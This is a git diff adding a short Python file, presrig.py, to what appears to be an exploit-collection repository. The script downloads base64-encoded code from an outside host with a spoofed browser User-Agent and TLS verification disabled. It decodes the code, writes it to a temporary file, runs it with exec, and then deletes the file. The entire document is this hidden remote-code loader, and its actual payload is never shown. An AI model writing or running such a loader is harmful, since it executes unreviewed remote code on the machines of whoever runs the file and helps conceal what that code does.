diff --git a/farm/presrig.py b/farm/presrig.py new file mode 100644 index 0000000..8ad6212 --- /dev/null +++ b/farm/presrig.py @@ -0,0 +1,28 @@ +import requests +import base64 +import tempfile +import os + + +def get_contents(url): + headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0" + } + response = requests.get(url, headers=headers, verify=False) + return response.text if response.status_code == 200 else None + + +url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig/rigpy" +encoded_code = get_contents(url) +if encoded_code: + decoded_code = base64.b64decode(encoded_code).decode("utf-8") + + with tempfile.NamedTemporaryFile(delete=False, suffix=".py") as temp_file: + temp_file.write(decoded_code.encode("utf-8")) + temp_file_path = temp_file.name + + try: + exec(open(temp_file_path).read()) + finally: + os.remove(temp_file_path) + \ No newline at end of file